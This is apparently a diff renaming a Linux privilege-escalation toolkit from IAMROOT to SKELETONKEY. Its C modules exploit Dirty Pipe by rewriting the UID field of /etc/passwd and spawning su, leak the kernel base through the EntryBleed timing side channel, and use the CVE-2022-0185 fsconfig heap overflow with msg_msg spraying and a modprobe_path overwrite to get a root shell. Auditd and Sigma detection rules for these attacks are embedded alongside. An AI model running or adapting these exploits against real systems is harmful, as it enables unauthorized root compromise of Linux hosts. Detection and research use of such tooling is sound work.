-w /etc/sudoers.d -p wa -k skeletonkey-dirty-pipe
# Watch every splice() syscall — combined with the file watches above
# this catches the canonical exploit shape. (High volume on servers
# using nginx/HAProxy; consider scoping with -F gid!=33 -F gid!=99 to
# exclude web servers.)
-a always,exit -F arch=b64 -S splice -k iamroot-dirty-pipe-splice
-a always,exit -F arch=b32 -S splice -k iamroot-dirty-pipe-splice
-a always,exit -F arch=b64 -S splice -k skeletonkey-dirty-pipe-splice
-a always,exit -F arch=b32 -S splice -k skeletonkey-dirty-pipe-splice
@@ -1,5 +1,5 @@
title: Possible Dirty Pipe exploitation (CVE-2022-0847)
id: f6b13c08-iamroot-dirty-pipe
id: f6b13c08-skeletonkey-dirty-pipe
status: experimental
description: |
Detects file modifications to /etc/passwd, /etc/shadow, /etc/sudoers,
@@ -10,7 +10,7 @@ description: |
references:
- https://dirtypipe.cm4all.com/
- https://nvd.nist.gov/vuln/detail/CVE-2022-0847
author: IAMROOT
author: SKELETONKEY
date: 2026/05/16
logsource:
product: linux
@@ -1,12 +0,0 @@
/*
* dirty_pipe_cve_2022_0847 — IAMROOT module registry hook
*/
#ifndef DIRTY_PIPE_IAMROOT_MODULES_H
#define DIRTY_PIPE_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module dirty_pipe_module;
#endif
@@ -1,9 +1,9 @@
/*
* dirty_pipe_cve_2022_0847 IAMROOT module
* dirty_pipe_cve_2022_0847 SKELETONKEY module
*
* Status: 🔵 DETECT-ONLY for now. Exploit lifecycle is a follow-up
* commit (the C code is well-understood Max Kellermann's public PoC
* is the reference but landing it under the iamroot_module
* is the reference but landing it under the skeletonkey_module
* interface needs the shared passwd-field/exploit-su helpers in core/
* which are deferred to Phase 1.5).
*
@@ -15,22 +15,22 @@
*
* Detect logic:
* - Parse uname() release into major.minor.patch
* - If kernel < 5.8 IAMROOT_OK (bug not introduced yet)
* - If kernel < 5.8 SKELETONKEY_OK (bug not introduced yet)
* - If kernel is on a branch with a known backport, compare patch
* level (above threshold = patched, below = vulnerable)
* - If kernel >= 5.17 IAMROOT_OK (mainline fix)
* - Otherwise IAMROOT_VULNERABLE
* - If kernel >= 5.17 SKELETONKEY_OK (mainline fix)
* - Otherwise SKELETONKEY_VULNERABLE
*
* Edge case: distros sometimes ship custom-numbered kernels (e.g.
* Ubuntu's `5.15.0-100-generic` where the .100 is Ubuntu's release
* counter, NOT the upstream patch level). For now we treat that as
* an unknown distro backport and report IAMROOT_TEST_ERROR with a
* an unknown distro backport and report SKELETONKEY_TEST_ERROR with a
* hint. A future enhancement: parse /proc/version's full string
* which usually includes the upstream patch level after the distro
* suffix.
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
@@ -223,7 +223,7 @@ static const struct kernel_range dirty_pipe_range = {
* /etc/passwd writes; safe to run from --scan --active. */
static int dirty_pipe_active_probe(void)
{
char probe_path[] = "/tmp/iamroot-dirty-pipe-probe-XXXXXX";
char probe_path[] = "/tmp/skeletonkey-dirty-pipe-probe-XXXXXX";
int fd = mkstemp(probe_path);
if (fd < 0) return -1;
const char seed[16] = "ABCDABCDABCDABCD";
@@ -252,12 +252,12 @@ static int dirty_pipe_active_probe(void)
return readback[4] == 'X' ? 1 : 0;
}
static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t dirty_pipe_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] dirty_pipe: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
/* Bug introduced in 5.8. */
@@ -266,7 +266,7 @@ static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[i] dirty_pipe: kernel %s predates the bug (introduced in 5.8)\n",
v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
bool patched_by_version = kernel_range_is_patched(&dirty_pipe_range, &v);
@@ -286,7 +286,7 @@ static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[!] dirty_pipe: ACTIVE PROBE CONFIRMED — primitive lands "
"(version %s)\n", v.release);
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
if (probe == 0) {
if (!ctx->json) {
@@ -294,7 +294,7 @@ static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
"primitive blocked (likely patched%s)\n",
patched_by_version ? "" : ", or distro silently backported");
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* probe < 0: probe machinery failed (mkstemp/open/read) — fall
* back to version-only verdict and report TEST_ERROR caveat */
@@ -309,21 +309,21 @@ static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] dirty_pipe: kernel %s is patched (version-only check; "
"use --active to confirm empirically)\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
if (!ctx->json) {
fprintf(stderr, "[!] dirty_pipe: kernel %s appears VULNERABLE (version-only check)\n"
" Confirm empirically: re-run with --scan --active\n",
v.release);
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t dirty_pipe_exploit(const struct skeletonkey_ctx *ctx)
{
/* Re-confirm vulnerability before writing to /etc/passwd. */
iamroot_result_t pre = dirty_pipe_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = dirty_pipe_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] dirty_pipe: detect() says not vulnerable; refusing to exploit\n");
return pre;
}
@@ -333,11 +333,11 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
struct passwd *pw = getpwuid(euid);
if (!pw) {
fprintf(stderr, "[-] dirty_pipe: getpwuid(%d) failed: %s\n", euid, strerror(errno));
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
if (euid == 0) {
fprintf(stderr, "[i] dirty_pipe: already running as root — nothing to escalate\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* Find the UID field. Need a 4-digit-or-similar UID we can replace
@@ -349,7 +349,7 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
if (!find_passwd_uid_field(pw->pw_name, &uid_off, &uid_len, orig_uid)) {
fprintf(stderr, "[-] dirty_pipe: could not locate %s's UID field in /etc/passwd\n",
pw->pw_name);
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
if (!ctx->json) {
fprintf(stderr, "[*] dirty_pipe: user '%s' UID '%s' at offset %lld (len %zu)\n",
@@ -368,7 +368,7 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
* far past the file's first 4096 bytes. Refuse cleanly. */
if ((uid_off & 0xfff) == 0) {
fprintf(stderr, "[-] dirty_pipe: UID field is page-aligned; primitive can't write here\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json) {
@@ -377,13 +377,13 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
}
if (dirty_pipe_write("/etc/passwd", uid_off, replacement, uid_len) < 0) {
fprintf(stderr, "[-] dirty_pipe: page-cache write failed\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (ctx->no_shell) {
fprintf(stderr, "[+] dirty_pipe: --no-shell — patch landed; not spawning su.\n"
"[i] dirty_pipe: revert with `iamroot --cleanup dirty_pipe`\n");
return IAMROOT_EXPLOIT_OK;
"[i] dirty_pipe: revert with `skeletonkey --cleanup dirty_pipe`\n");
return SKELETONKEY_EXPLOIT_OK;
}
/* /etc/passwd now reports our user as uid 0 (in the page cache).
@@ -394,35 +394,35 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
/* If execlp returns, su didn't actually pop root — revert and report. */
perror("execlp(su)");
revert_passwd_page_cache();
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
static iamroot_result_t dirty_pipe_cleanup(const struct iamroot_ctx *ctx)
static skeletonkey_result_t dirty_pipe_cleanup(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
if (!ctx->json) {
fprintf(stderr, "[*] dirty_pipe: evicting /etc/passwd from page cache\n");
}
revert_passwd_page_cache();
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* Embedded detection rules — keep the binary self-contained so
* `iamroot --detect-rules --format=auditd` works without a separate
* `skeletonkey --detect-rules --format=auditd` works without a separate
* data-dir install. */
static const char dirty_pipe_auditd[] =
"# Dirty Pipe (CVE-2022-0847) — auditd detection rules\n"
"# See modules/dirty_pipe_cve_2022_0847/detect/auditd.rules for full version.\n"
"-w /etc/passwd -p wa -k iamroot-dirty-pipe\n"
"-w /etc/shadow -p wa -k iamroot-dirty-pipe\n"
"-w /etc/sudoers -p wa -k iamroot-dirty-pipe\n"
"-w /etc/sudoers.d -p wa -k iamroot-dirty-pipe\n"
"-a always,exit -F arch=b64 -S splice -k iamroot-dirty-pipe-splice\n"
"-a always,exit -F arch=b32 -S splice -k iamroot-dirty-pipe-splice\n";
"-w /etc/passwd -p wa -k skeletonkey-dirty-pipe\n"
"-w /etc/shadow -p wa -k skeletonkey-dirty-pipe\n"
"-w /etc/sudoers -p wa -k skeletonkey-dirty-pipe\n"
"-w /etc/sudoers.d -p wa -k skeletonkey-dirty-pipe\n"
"-a always,exit -F arch=b64 -S splice -k skeletonkey-dirty-pipe-splice\n"
"-a always,exit -F arch=b32 -S splice -k skeletonkey-dirty-pipe-splice\n";
static const char dirty_pipe_sigma[] =
"title: Possible Dirty Pipe exploitation (CVE-2022-0847)\n"
"id: f6b13c08-iamroot-dirty-pipe\n"
"id: f6b13c08-skeletonkey-dirty-pipe\n"
"status: experimental\n"
"logsource: {product: linux, service: auditd}\n"
"detection:\n"
@@ -435,7 +435,7 @@ static const char dirty_pipe_sigma[] =
"level: high\n"
"tags: [attack.privilege_escalation, attack.t1068, cve.2022.0847]\n";
const struct iamroot_module dirty_pipe_module = {
const struct skeletonkey_module dirty_pipe_module = {
.name = "dirty_pipe",
.cve = "CVE-2022-0847",
.summary = "pipe_buffer CAN_MERGE flag inheritance → page-cache write",
@@ -451,7 +451,7 @@ const struct iamroot_module dirty_pipe_module = {
.detect_falco = NULL,
};
void iamroot_register_dirty_pipe(void)
void skeletonkey_register_dirty_pipe(void)
{
iamroot_register(&dirty_pipe_module);
skeletonkey_register(&dirty_pipe_module);
}
@@ -0,0 +1,12 @@
/*
* dirty_pipe_cve_2022_0847 — SKELETONKEY module registry hook
*/
#ifndef DIRTY_PIPE_SKELETONKEY_MODULES_H
#define DIRTY_PIPE_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module dirty_pipe_module;
#endif
+1 -1
View File
@@ -45,7 +45,7 @@ There is no single canonical patch. Partial mitigations include:
- Lift the proven EntryBleed code from
`SKYFALL/bugs/leak_write_modprobe_2026-05-16/exploit.c` into
`module.c` here
- Expose as both a CLI mode (`iamroot --leak-kbase`) and as a
- Expose as both a CLI mode (`skeletonkey --leak-kbase`) and as a
library helper (`uint64_t entrybleed_leak_kbase(void)`)
- Detection rules: timing-attack pattern flags, perf-counter
anomaly detection (informational — these are hard to make precise
+2 -2
View File
@@ -14,10 +14,10 @@ Discovered by **Will Findlay**. Formally presented at USENIX Security '23:
Mainline status: no canonical patch — partial mitigations only.
## IAMROOT role
## SKELETONKEY role
This is a **stage-1 leak primitive**, not a standalone LPE. Other
modules can call `entrybleed_leak_kbase_lib()` to obtain a KASLR
slide and feed it to the offset resolver in `core/offsets.c`. x86_64
only; the `entry_SYSCALL_64` slot offset is configurable via the
`IAMROOT_ENTRYBLEED_OFFSET` env var.
`SKELETONKEY_ENTRYBLEED_OFFSET` env var.
@@ -1,5 +1,5 @@
/*
* entrybleed_cve_2023_0458 IAMROOT module
* entrybleed_cve_2023_0458 SKELETONKEY module
*
* EntryBleed (Lipp et al., USENIX Security '23). A KPTI prefetchnta
* timing side-channel that leaks the kernel base address.
@@ -13,10 +13,10 @@
* anti-EntryBleed mitigation = VULNERABLE.
* - This module is also a LIBRARY: other modules that need a kbase
* leak as part of a chain can call `entrybleed_leak_kbase_lib()`
* directly (declared in iamroot_modules.h).
* directly (declared in skeletonkey_modules.h).
*
* x86_64 only. On ARM64 / other arches, detect() returns
* IAMROOT_PRECOND_FAIL and exploit() returns IAMROOT_PRECOND_FAIL.
* SKELETONKEY_PRECOND_FAIL and exploit() returns SKELETONKEY_PRECOND_FAIL.
*
* For users who'd never go to USENIX (TLDR):
* - KPTI unmaps kernel pages from user CR3 on kernel-exit, but leaves
@@ -30,7 +30,7 @@
* - Subtract its known offset from kbase KASLR slide
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include <stdio.h>
@@ -120,7 +120,7 @@ static int read_first_line(const char *path, char *out, size_t n)
return 0;
}
static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t entrybleed_detect(const struct skeletonkey_ctx *ctx)
{
/* Probe KPTI status. /sys/devices/system/cpu/vulnerabilities/meltdown
* is the most direct signal: "Mitigation: PTI" means KPTI is on
@@ -134,7 +134,7 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[?] entrybleed: cannot read meltdown vuln status — "
"assuming KPTI on (conservative)\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
if (!ctx->json) {
fprintf(stderr, "[i] entrybleed: meltdown status = '%s'\n", buf);
@@ -146,7 +146,7 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] entrybleed: CPU is Meltdown-immune; KPTI off; "
"EntryBleed N/A\n");
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* "Mitigation: PTI" or "Vulnerable" or similar — KPTI is most likely
@@ -178,7 +178,7 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[!] entrybleed: ACTIVE PROBE CONFIRMED — "
"leak yields plausible kbase 0x%lx\n", kbase);
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
if (!ctx->json) {
fprintf(stderr, "[+] entrybleed: active probe returned implausible kbase "
@@ -186,9 +186,9 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
}
/* Implausible probe result. Either the entry_SYSCALL_64 slot
* offset doesn't match lts-6.12.x default (different kernel
* build) user should set IAMROOT_ENTRYBLEED_OFFSET or
* build) user should set SKELETONKEY_ENTRYBLEED_OFFSET or
* timing is too noisy. Don't claim CONFIRMED. */
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
if (!ctx->json) {
@@ -197,21 +197,21 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[i] entrybleed: --exploit will leak kbase (harmless leak; "
"no /etc/passwd writes)\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t entrybleed_exploit(const struct skeletonkey_ctx *ctx)
{
const char *off_env = getenv("IAMROOT_ENTRYBLEED_OFFSET");
const char *off_env = getenv("SKELETONKEY_ENTRYBLEED_OFFSET");
unsigned long off = 0;
if (off_env) {
off = strtoul(off_env, NULL, 0);
if (!ctx->json) {
fprintf(stderr, "[i] entrybleed: using IAMROOT_ENTRYBLEED_OFFSET=0x%lx\n", off);
fprintf(stderr, "[i] entrybleed: using SKELETONKEY_ENTRYBLEED_OFFSET=0x%lx\n", off);
}
} else if (!ctx->json) {
fprintf(stderr, "[i] entrybleed: using default entry_SYSCALL_64 slot offset "
"0x%lx (lts-6.12.x). Override via IAMROOT_ENTRYBLEED_OFFSET=0x...\n",
"0x%lx (lts-6.12.x). Override via SKELETONKEY_ENTRYBLEED_OFFSET=0x...\n",
DEFAULT_ENTRY_OFF);
}
@@ -223,7 +223,7 @@ static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
unsigned long kbase = entrybleed_leak_kbase_lib(off);
if (kbase == 0) {
fprintf(stderr, "[-] entrybleed: leak failed (kbase == 0)\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (ctx->json) {
@@ -233,7 +233,7 @@ static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] entrybleed: KASLR slide = 0x%lx (relative to 0xffffffff81000000)\n",
kbase - 0xffffffff81000000UL);
}
return IAMROOT_EXPLOIT_OK;
return SKELETONKEY_EXPLOIT_OK;
}
#else /* not x86_64 */
@@ -244,19 +244,19 @@ unsigned long entrybleed_leak_kbase_lib(unsigned long off)
return 0;
}
static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t entrybleed_detect(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[i] entrybleed: x86_64 only; this build is for a "
"different architecture\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t entrybleed_exploit(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[-] entrybleed: x86_64 only\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
#endif
@@ -268,7 +268,7 @@ static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
* Ship a Sigma note describing this; auditd rule intentionally omitted. */
static const char entrybleed_sigma[] =
"title: EntryBleed-style KPTI timing side-channel (CVE-2023-0458)\n"
"id: 7b3a48d1-iamroot-entrybleed\n"
"id: 7b3a48d1-skeletonkey-entrybleed\n"
"status: experimental\n"
"description: |\n"
" EntryBleed leaks kbase via prefetchnta timing against entry_SYSCALL_64.\n"
@@ -280,7 +280,7 @@ static const char entrybleed_sigma[] =
"level: informational\n"
"tags: [attack.discovery, attack.t1082, cve.2023.0458]\n";
const struct iamroot_module entrybleed_module = {
const struct skeletonkey_module entrybleed_module = {
.name = "entrybleed",
.cve = "CVE-2023-0458",
.summary = "KPTI prefetchnta timing side-channel → kbase leak (stage-1)",
@@ -296,7 +296,7 @@ const struct iamroot_module entrybleed_module = {
.detect_falco = NULL,
};
void iamroot_register_entrybleed(void)
void skeletonkey_register_entrybleed(void)
{
iamroot_register(&entrybleed_module);
skeletonkey_register(&entrybleed_module);
}
@@ -1,13 +1,13 @@
/*
* entrybleed_cve_2023_0458 IAMROOT module registry hook
* entrybleed_cve_2023_0458 SKELETONKEY module registry hook
*/
#ifndef ENTRYBLEED_IAMROOT_MODULES_H
#define ENTRYBLEED_IAMROOT_MODULES_H
#ifndef ENTRYBLEED_SKELETONKEY_MODULES_H
#define ENTRYBLEED_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module entrybleed_module;
extern const struct skeletonkey_module entrybleed_module;
/* Library entry point for other modules that need a kbase leak.
* Returns the leaked kernel _text base on success, or 0 on failure
+1 -1
View File
@@ -18,7 +18,7 @@ Public PoC: <https://github.com/Crusaders-of-Rust/CVE-2022-0185>
Upstream fix: mainline 5.16.2 (Jan 2022).
Branch backports: 5.16.2 / 5.15.14 / 5.10.91 / 5.4.171.
## IAMROOT role
## SKELETONKEY role
userns+mountns reach, `fsopen("cgroup2")` + double
`fsconfig(FSCONFIG_SET_STRING, "source", ...)` fires the 4k OOB,
@@ -1,12 +0,0 @@
/*
* fuse_legacy_cve_2022_0185 — IAMROOT module registry hook
*/
#ifndef FUSE_LEGACY_IAMROOT_MODULES_H
#define FUSE_LEGACY_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module fuse_legacy_module;
#endif
@@ -1,5 +1,5 @@
/*
* fuse_legacy_cve_2022_0185 IAMROOT module
* fuse_legacy_cve_2022_0185 SKELETONKEY module
*
* legacy_parse_param() in fs/fs_context.c had a heap overflow when
* parsing the "fsconfig" filesystem option strings specifically,
@@ -38,7 +38,7 @@
*
* On a *patched* host (which is every host we can routinely build
* on in 2026) detect() refuses and exploit() returns
* IAMROOT_PRECOND_FAIL with no syscalls.
* SKELETONKEY_PRECOND_FAIL with no syscalls.
*
* Affected: kernel 5.1+ until fix:
* Mainline fix: 722d94847de29 (Jan 18 2022) lands in 5.16.2
@@ -57,7 +57,7 @@
* is enabled.
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
@@ -169,12 +169,12 @@ static int can_unshare_userns_mount(void)
/* ------------------------------------------------------------------ */
/* detect */
/* ------------------------------------------------------------------ */
static iamroot_result_t fuse_legacy_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t fuse_legacy_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] fuse_legacy: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
/* Bug introduced in 5.1 (when legacy_parse_param landed). Pre-5.1
@@ -184,7 +184,7 @@ static iamroot_result_t fuse_legacy_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] fuse_legacy: kernel %s predates the bug introduction\n",
v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
bool patched = kernel_range_is_patched(&fuse_legacy_range, &v);
@@ -192,7 +192,7 @@ static iamroot_result_t fuse_legacy_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] fuse_legacy: kernel %s is patched\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
int userns_ok = can_unshare_userns_mount();
@@ -208,7 +208,7 @@ static iamroot_result_t fuse_legacy_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] fuse_legacy: user_ns denied → "
"unprivileged exploit unreachable\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[!] fuse_legacy: VULNERABLE — kernel in range AND "
@@ -216,7 +216,7 @@ static iamroot_result_t fuse_legacy_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[i] fuse_legacy: container-escape relevant for rootless "
"docker/podman/snap setups\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
/* ------------------------------------------------------------------ */
@@ -363,7 +363,7 @@ static int trigger_overflow(int *out_fd, const char *first_chunk,
* On a vulnerable host with matching offsets this path can land the
* write; on an unverified host the sanity gate refuses rather than
* blind-writing a wild pointer. The finisher's downstream
* "/tmp/iamroot-pwn ran?" check is the second gate.
* "/tmp/skeletonkey-pwn ran?" check is the second gate.
*/
struct fuse_arb_ctx {
/* Pre-allocated queue ids from the spray phase. */
@@ -371,7 +371,7 @@ struct fuse_arb_ctx {
int n_queues;
int hole_q;
/* Tagged-payload reference so we can recognise unmodified neighbours. */
const char *tag; /* "IAMROOT" */
const char *tag; /* "SKELETONKEY" */
/* Whether the first-round trigger already fired (the parent's
* default-path overflow). When set we re-spray + re-fire; when
* unset we assume the spray is hot. */
@@ -517,11 +517,11 @@ static int fuse_arb_write(uintptr_t kaddr, const void *buf, size_t len,
/* ------------------------------------------------------------------ */
/* exploit */
/* ------------------------------------------------------------------ */
static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t fuse_legacy_exploit(const struct skeletonkey_ctx *ctx)
{
/* (R1) Re-call detect — refuse if not vulnerable. */
iamroot_result_t pre = fuse_legacy_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = fuse_legacy_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] fuse_legacy: detect() says not vulnerable; refusing\n");
return pre;
}
@@ -531,7 +531,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[i] fuse_legacy: already root; nothing to escalate\n");
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
if (!ctx->json) {
@@ -541,7 +541,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
/* (R3) unshare for userns+mount_ns — gives CAP_SYS_ADMIN-in-userns
* which is what fsopen("cgroup2") + fsconfig require. */
if (!enter_userns_root()) {
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
/* --- (R5) cross-cache groom — phase 1: alloc spray --------------
@@ -552,13 +552,13 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
* to land write-past-end into the next adjacent msg_msg.
*
* Empirically Liu uses ~4096 sprays / 512 queues; we mirror the
* shape but with knobs scaled for an iamroot one-shot.
* shape but with knobs scaled for an skeletonkey one-shot.
*/
enum { N_QUEUES = 256, N_SPRAY_PER_Q = 16 };
int *qids = calloc(N_QUEUES, sizeof(int));
if (!qids) {
fprintf(stderr, "[-] fuse_legacy: calloc(qids) failed\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
for (int i = 0; i < N_QUEUES; i++) {
qids[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
@@ -574,7 +574,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
if (spray == MAP_FAILED) {
fprintf(stderr, "[-] fuse_legacy: mmap(spray) failed\n");
free(qids);
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
spray->mtype = 0x4242;
/* Tag the payload so we can recognise our spray slots in
@@ -614,7 +614,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
char *first_chunk = malloc(4081);
if (!first_chunk) {
free(qids); munmap(spray, sizeof *spray);
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
memset(first_chunk, 'A', 4080);
first_chunk[4080] = '\0';
@@ -632,7 +632,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
* step below. */
char evil_chunk[256];
memset(evil_chunk, 'B', sizeof evil_chunk);
memcpy(evil_chunk, "IAMROOT0", 8); /* marker → "did we land?" */
memcpy(evil_chunk, "SKELETONKEY0", 8); /* marker → "did we land?" */
/* Tail must be NUL-terminated for legacy_parse_param's strdup. */
evil_chunk[sizeof evil_chunk - 1] = '\0';
@@ -653,7 +653,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
fprintf(stderr, "[-] fuse_legacy: fsconfig overflow rejected (errno=%d: %s)\n",
errno, strerror(errno));
free(qids); munmap(spray, sizeof *spray);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json) {
@@ -725,7 +725,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
* (see fuse_arb_write). On a host where offsets + groom land,
* the finisher's modprobe_path overwrite execve(unknown)
* call_modprobe chain pops a root shell. On a mismatched host
* the sanity gate trips and we exit IAMROOT_EXPLOIT_FAIL with no
* the sanity gate trips and we exit SKELETONKEY_EXPLOIT_FAIL with no
* fabricated success.
*
* Cleanup of qids/spray/fsfd is deferred to AFTER the finisher
@@ -739,19 +739,19 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
"kernel offsets...\n");
}
struct iamroot_kernel_offsets off;
struct skeletonkey_kernel_offsets off;
memset(&off, 0, sizeof off);
int resolved = iamroot_offsets_resolve(&off);
int resolved = skeletonkey_offsets_resolve(&off);
if (!ctx->json) {
fprintf(stderr, "[i] fuse_legacy: offsets resolved=%d "
"(modprobe_path=0x%lx source=%s)\n",
resolved, (unsigned long)off.modprobe_path,
iamroot_offset_source_name(off.source_modprobe));
iamroot_offsets_print(&off);
skeletonkey_offset_source_name(off.source_modprobe));
skeletonkey_offsets_print(&off);
}
if (!iamroot_offsets_have_modprobe_path(&off)) {
iamroot_finisher_print_offset_help("fuse_legacy");
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
skeletonkey_finisher_print_offset_help("fuse_legacy");
/* Cleanup before returning. */
for (int q = 0; q < N_QUEUES; q++) {
if (qids[q] >= 0) msgctl(qids[q], IPC_RMID, NULL);
@@ -759,18 +759,18 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
free(qids);
munmap(spray, sizeof *spray);
if (fsfd >= 0) close(fsfd);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
struct fuse_arb_ctx ax = {
.qids = qids,
.n_queues = N_QUEUES,
.hole_q = hole_q,
.tag = "IAMROOT",
.tag = "SKELETONKEY",
.trigger_armed = true,
};
iamroot_result_t fr = iamroot_finisher_modprobe_path(
skeletonkey_result_t fr = skeletonkey_finisher_modprobe_path(
&off, fuse_arb_write, &ax, !ctx->no_shell);
/* Cleanup IPC + mapping regardless of finisher result. The
@@ -783,14 +783,14 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
munmap(spray, sizeof *spray);
if (fsfd >= 0) close(fsfd);
if (fr == IAMROOT_EXPLOIT_OK) {
return IAMROOT_EXPLOIT_OK;
if (fr == SKELETONKEY_EXPLOIT_OK) {
